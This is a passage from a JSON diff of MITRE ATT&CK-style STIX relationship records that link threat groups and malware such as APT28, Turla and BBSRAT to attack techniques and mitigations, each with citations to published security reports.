2018.", + "source_name": "ESET OceanLotus" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. 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Retrieved June 9, 2020.", + "source_name": "Trend Micro Tick November 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7fd6c479-00ae-478d-a29b-fc40619eea97", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.(Citation: Palo Alto Networks BBSRAT)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T00:22:59.308Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c263ca38-f85d-42ab-b56d-8f6121c3aed6", + "description": "[APT28](https://attack.mitre.org/groups/G0007) sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.(Citation: DOJ GRU Indictment Jul 2018)(Citation: ESET Zebrocy May 2019)(Citation: US District Court Indictment GRU Oct 2018)", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2020-10-01T18:55:37.604Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.justice.gov/file/1080281/download", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "source_name": "DOJ GRU Indictment Jul 2018" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "url": "https://www.justice.gov/opa/page/file/1098481/download", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. 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Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3beb0c09-e584-4fd8-92bb-d7a1ae9192e6", + "description": "(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Dec 2017)", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "modified": "2020-03-18T20:18:02.853Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "description": "Falcone, R. and Lee, B.. (2016, May 26). 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Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ff93eedd-e788-4541-9a9b-ccead3df0d13", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2020-08-13T20:02:49.814Z", + "source_ref": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.029Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a804782a-fc22-43ab-a561-63007284bdf9", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) steals data stored in the clipboard.(Citation: Symantec Catchamas April 2018)", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "modified": "2020-03-16T16:28:15.970Z", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99", + "description": "Balanza, M. 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Retrieved March 17, 2021.", + "source_name": "Anomali Static Kitten February 2021" + }, + { + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", + "source_name": "Trend Micro Muddy Water March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--87e853bb-a82f-4a8c-a43a-e7da05f43619", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) stores itself in ~/Library/.DS_Stores/ (Citation: alientvault macspy)", + "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "modified": "2020-01-17T19:50:53.305Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service", + "description": "PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. 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Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--701a2767-70f3-44f1-a397-9c04517ece67", + "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "modified": "2020-01-24T13:51:48.171Z", + "source_ref": "course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5f4c8795-68b6-4935-beb4-adde242f44f6", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) can list all files on a system.", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-01-17T19:36:09.430Z", + "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--67f2ca97-5949-4503-a55c-1f0d3f3502ca", + "description": "(Citation: FireEye APT35 2018)", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-09-09T19:21:42.573Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf", + "description": "Mandiant. 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(2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "url": "https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware" + }, + { + "source_name": "TrendMicro RawPOS April 2015", + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--285ab221-15cf-4215-aa68-a8e74b635633", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) makes their malware look like Flash Player, Office, or PDF documents in order to entice a user to click on it.(Citation: Lookout Dark Caracal Jan 2018)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-03-17T13:54:27.147Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). 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Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a9bc7666-f637-4093-a5bb-4edb61710e45", + "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of remotely deleting files from victims.(Citation: Citizen Lab Group5)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2019-07-25T17:52:06.552Z", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.078Z", + "external_references": [ + { + "url": "https://citizenlab.ca/2016/08/group5-syria/", + "description": "Scott-Railton, J., et al. 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Retrieved September 9, 2020.", + "source_name": "Trend Micro FIN6 October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9da92f82-172d-4375-9bcd-f148bfe13418", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has tunneled RDP backdoors over port 443.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2019-03-22T20:21:57.582Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. 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(n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4258ffdf-ecdb-465d-af16-bda97062ab7f", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) scanned network services to search for vulnerabilities in the victim system.(Citation: Symantec Leafminer July 2018)", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "modified": "2019-03-25T14:12:13.363Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c055d228-a0e6-4b76-961a-1eebe99679f5", + "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample performs reflective DLL injection.(Citation: McAfee Lazarus Resurfaces Feb 2018)", + "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", + "modified": "2020-12-11T17:47:22.590Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover information in the Windows Registry with the reg query command.(Citation: Kaspersky Turla) [Turla](https://attack.mitre.org/groups/G0010) has also retrieved PowerShell payloads hidden in Registry keys as well as checking keys associated with null session named pipes .(Citation: ESET Turla PowerShell May 2019)", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2019-07-14T21:04:44.729Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.045Z", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f0094ba8-a513-49bf-a5d7-961aaab13380", + "description": "(Citation: Novetta-Axiom)", + "target_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2019-03-22T19:55:13.760Z", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e3425903-a09d-44e2-b033-daadc8208ff5", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). 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Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Phishery Aug 2018", + "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1ed35fc6-ea81-4669-9fd3-997422febe09", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used TCP port 80 for C2.(Citation: FireEye APT19)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2019-04-25T11:39:52.056Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--61e11940-0a88-48c8-8532-e57b5bb6bdb6", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) likely obtained a list of hosts in the victim environment.(Citation: US-CERT TA18-074A)", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "modified": "2019-03-22T20:13:49.453Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--47f521b8-37e4-489d-b6eb-25f35de80aae", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has downloaded additional code and files from servers onto victims.(Citation: Unit 42 Magic Hound Feb 2017) ", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-04-14T14:10:54.673Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5e596415-354e-4ccc-bc9d-3deb3fe5de1e", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.(Citation: FireEye APT37 Feb 2018)", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2020-03-19T22:17:57.976Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ab83d817-57b8-4970-afc6-fbd70c6e3760", + "description": "(Citation: Mandiant FIN5 GrrCON Oct 2016)", + "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700", + "modified": "2019-04-24T19:41:25.865Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc79f30d-94c8-400e-ab10-21d2a2527788", + "description": "(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Symantec Tick Apr 2016)", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "modified": "2019-03-22T19:57:37.435Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + }, + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--48f662fe-1ba2-4c19-b782-dd06d9fb67fa", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used tools to take screenshots from victims.(Citation: ESET Sednit Part 2)(Citation: XAgentOSX 2017)(Citation: DOJ GRU Indictment Jul 2018)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2019-10-25T15:19:53.994Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.039Z", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). 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(2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018" + }, + { + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + }, + { + "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", + "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). 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Retrieved February 15, 2018.", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "modified": "2020-03-16T15:59:20.334Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "description": "Settle, A., et al. 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Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--89c6bcd7-e330-4902-8296-0918923d6573", + "description": "(Citation: Dell Lateral Movement)", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "modified": "2019-05-30T18:05:32.902Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.060Z", + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521", + "description": "(Citation: Kaspersky Carbanak)", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-03-22T19:59:27.070Z", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.042Z", + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used [Forfiles](https://attack.mitre.org/software/S0193) to locate PDF, Excel, and Word documents during collection. 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Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b398ed8d-5801-4cf0-bea2-c8b62c568bcd", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used HTTPS for C2.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T00:38:52.332Z", + "source_ref": 